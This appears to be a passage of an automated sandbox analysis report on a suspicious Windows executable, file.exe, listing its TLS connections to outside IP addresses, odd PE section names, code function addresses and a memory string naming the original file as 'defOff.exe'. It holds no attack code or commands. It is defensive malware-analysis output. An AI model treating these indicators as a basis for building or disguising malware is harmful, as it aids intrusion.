Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.174:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.4:49805 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C66DC0	0_2_05C66DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C93DD8	0_2_05C93DD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C815E6	0_2_05C815E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA35FE	0_2_05CA35FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C80DFD	0_2_05C80DFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C91DFE	0_2_05C91DFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C825F6	0_2_05C825F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C71587	0_2_05C71587
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9BD8C	0_2_05C9BD8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C92D81	0_2_05C92D81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7958B	0_2_05C7958B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C77DA8	0_2_05C77DA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAE5B9	0_2_05CAE5B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA6DBE	0_2_05CA6DBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6EDBE	0_2_05C6EDBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C91552	0_2_05C91552
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C90575	0_2_05C90575
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9451E	0_2_05C9451E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA5D1D	0_2_05CA5D1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CACD17	0_2_05CACD17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C73527	0_2_05C73527
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6E532	0_2_05C6E532
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6553E	0_2_05C6553E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7253E	0_2_05C7253E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CB2531	0_2_05CB2531
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8E535	0_2_05C8E535
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7C4C5	0_2_05C7C4C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9A4C5	0_2_05C9A4C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C75CDA	0_2_05C75CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C82CEE	0_2_05C82CEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C96CE1	0_2_05C96CE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C73CED	0_2_05C73CED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CB0CE0	0_2_05CB0CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6D4E9	0_2_05C6D4E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6F48A	0_2_05C6F48A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAD49B	0_2_05CAD49B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C72C9D	0_2_05C72C9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7CC99	0_2_05C7CC99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C86CAB	0_2_05C86CAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C89C4B	0_2_05C89C4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C88443	0_2_05C88443
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C77C52	0_2_05C77C52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA245F	0_2_05CA245F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7A45F	0_2_05C7A45F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAFC53	0_2_05CAFC53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA1C6B	0_2_05CA1C6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA646B	0_2_05CA646B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAF46C	0_2_05CAF46C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C80464	0_2_05C80464
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6DC72	0_2_05C6DC72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6BC7B	0_2_05C6BC7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA7474	0_2_05CA7474
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7BC12	0_2_05C7BC12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9EC12	0_2_05C9EC12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8CC2B	0_2_05C8CC2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9D422	0_2_05C9D422
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9843E	0_2_05C9843E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C99431	0_2_05C99431
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C767C6	0_2_05C767C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C88FCE	0_2_05C88FCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7BFCD	0_2_05C7BFCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C897D6	0_2_05C897D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C69F80	0_2_05C69F80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6878D	0_2_05C6878D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9CF86	0_2_05C9CF86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA77A2	0_2_05CA77A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CABFBD	0_2_05CABFBD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA87B6	0_2_05CA87B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7874A	0_2_05C7874A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA0F5B	0_2_05CA0F5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6CF54	0_2_05C6CF54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAB753	0_2_05CAB753
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA9766	0_2_05CA9766
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7077D	0_2_05C7077D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C92706	0_2_05C92706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8F71A	0_2_05C8F71A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA8F19	0_2_05CA8F19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9B729	0_2_05C9B729
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C706C1	0_2_05C706C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C666CF	0_2_05C666CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8D6C3	0_2_05C8D6C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6C6C8	0_2_05C6C6C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C976ED	0_2_05C976ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C82E8D	0_2_05C82E8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6AE96	0_2_05C6AE96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CABEB4	0_2_05CABEB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9B659	0_2_05C9B659
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C90E58	0_2_05C90E58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C69653	0_2_05C69653
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C85E5D	0_2_05C85E5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6FE5C	0_2_05C6FE5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C74667	0_2_05C74667
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8A66A	0_2_05C8A66A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C93662	0_2_05C93662
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C87609	0_2_05C87609
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8DE0B	0_2_05C8DE0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7FE02	0_2_05C7FE02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6A600	0_2_05C6A600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CC461D	0_2_05CC461D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7EE38	0_2_05C7EE38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6A9C3	0_2_05C6A9C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7F9CF	0_2_05C7F9CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C699CF	0_2_05C699CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C941C2	0_2_05C941C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8C9C6	0_2_05C8C9C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9C9D1	0_2_05C9C9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C931FA	0_2_05C931FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C659F1	0_2_05C659F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C88185	0_2_05C88185
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8B19F	0_2_05C8B19F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7999D	0_2_05C7999D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C681A3	0_2_05C681A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA71A0	0_2_05CA71A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C741A9	0_2_05C741A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C951BA	0_2_05C951BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C809BD	0_2_05C809BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9E1B2	0_2_05C9E1B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C5D140	0_2_05C5D140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7494C	0_2_05C7494C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAE153	0_2_05CAE153
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7915A	0_2_05C7915A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7A96F	0_2_05C7A96F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9F967	0_2_05C9F967
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8717D	0_2_05C8717D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAA97F	0_2_05CAA97F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C82971	0_2_05C82971
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C72904	0_2_05C72904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9890E	0_2_05C9890E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C95104	0_2_05C95104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9E938	0_2_05C9E938
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA393E	0_2_05CA393E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C75132	0_2_05C75132
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6D939	0_2_05C6D939
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CB18C1	0_2_05CB18C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6E8D6	0_2_05C6E8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6D0E1	0_2_05C6D0E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA68F0	0_2_05CA68F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C75893	0_2_05C75893
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7D8B1	0_2_05C7D8B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA20B2	0_2_05CA20B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAA04D	0_2_05CAA04D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C82050	0_2_05C82050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C94868	0_2_05C94868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C77061	0_2_05C77061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6E074	0_2_05C6E074
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAD078	0_2_05CAD078
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C71073	0_2_05C71073
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8407E	0_2_05C8407E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C71802	0_2_05C71802
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6F814	0_2_05C6F814
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6B01B	0_2_05C6B01B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9982B	0_2_05C9982B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA603B	0_2_05CA603B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA283F	0_2_05CA283F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C90032	0_2_05C90032
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9C037	0_2_05C9C037
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C76BF4	0_2_05C76BF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C67BFD	0_2_05C67BFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9F3F7	0_2_05C9F3F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C78BA6	0_2_05C78BA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C823A9	0_2_05C823A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C763AF	0_2_05C763AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CABB44	0_2_05CABB44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8D35C	0_2_05C8D35C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9FB5D	0_2_05C9FB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C68359	0_2_05C68359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6936C	0_2_05C6936C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C83378	0_2_05C83378
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C72B7D	0_2_05C72B7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C81B76	0_2_05C81B76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CB0375	0_2_05CB0375
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9730A	0_2_05C9730A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C97B1F	0_2_05C97B1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA1310	0_2_05CA1310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA8B3E	0_2_05CA8B3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C86330	0_2_05C86330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7F2D0	0_2_05C7F2D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA7AE2	0_2_05CA7AE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C90AE2	0_2_05C90AE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C6BAE8	0_2_05C6BAE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C782E8	0_2_05C782E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C702F0	0_2_05C702F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA928B	0_2_05CA928B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAB299	0_2_05CAB299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C87A9D	0_2_05C87A9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA029D	0_2_05CA029D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C91A92	0_2_05C91A92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CAEAAB	0_2_05CAEAAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CADAA0	0_2_05CADAA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA4ABD	0_2_05CA4ABD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8F2B6	0_2_05C8F2B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C92244	0_2_05C92244
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C8DA5E	0_2_05C8DA5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA5A68	0_2_05CA5A68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CB2A6E	0_2_05CB2A6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7E269	0_2_05C7E269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C74A7C	0_2_05C74A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA420D	0_2_05CA420D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CB321E	0_2_05CB321E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C93A11	0_2_05C93A11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C9B22D	0_2_05C9B22D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C67223	0_2_05C67223
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CA3238	0_2_05CA3238
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C7DA3C	0_2_05C7DA3C

Source: file.exe, 00000000.00000003.2266516473.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276234261.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2277983654.0000000001350000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2275749751.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2277784336.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2274963514.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264957922.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264781564.000000000134F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262769766.00000000013D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272164110.0000000001439000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276119335.0000000001349000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264523520.000000000148F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268601197.0000000001431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276355098.000000000134C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263842293.00000000013EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266328964.000000000134C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262413434.0000000006042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264436516.00000000013E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269442187.0000000001448000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295093410.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295093410.0000000005A57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2275622089.0000000001346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276837687.0000000001346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273354434.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268109312.0000000001342000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281038758.000000000134B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263933518.0000000001345000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278503402.000000000134F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2276718576.0000000005C61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265960926.0000000001350000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262857039.000000000146C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266422359.000000000140A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269804210.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264099690.000000000147C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
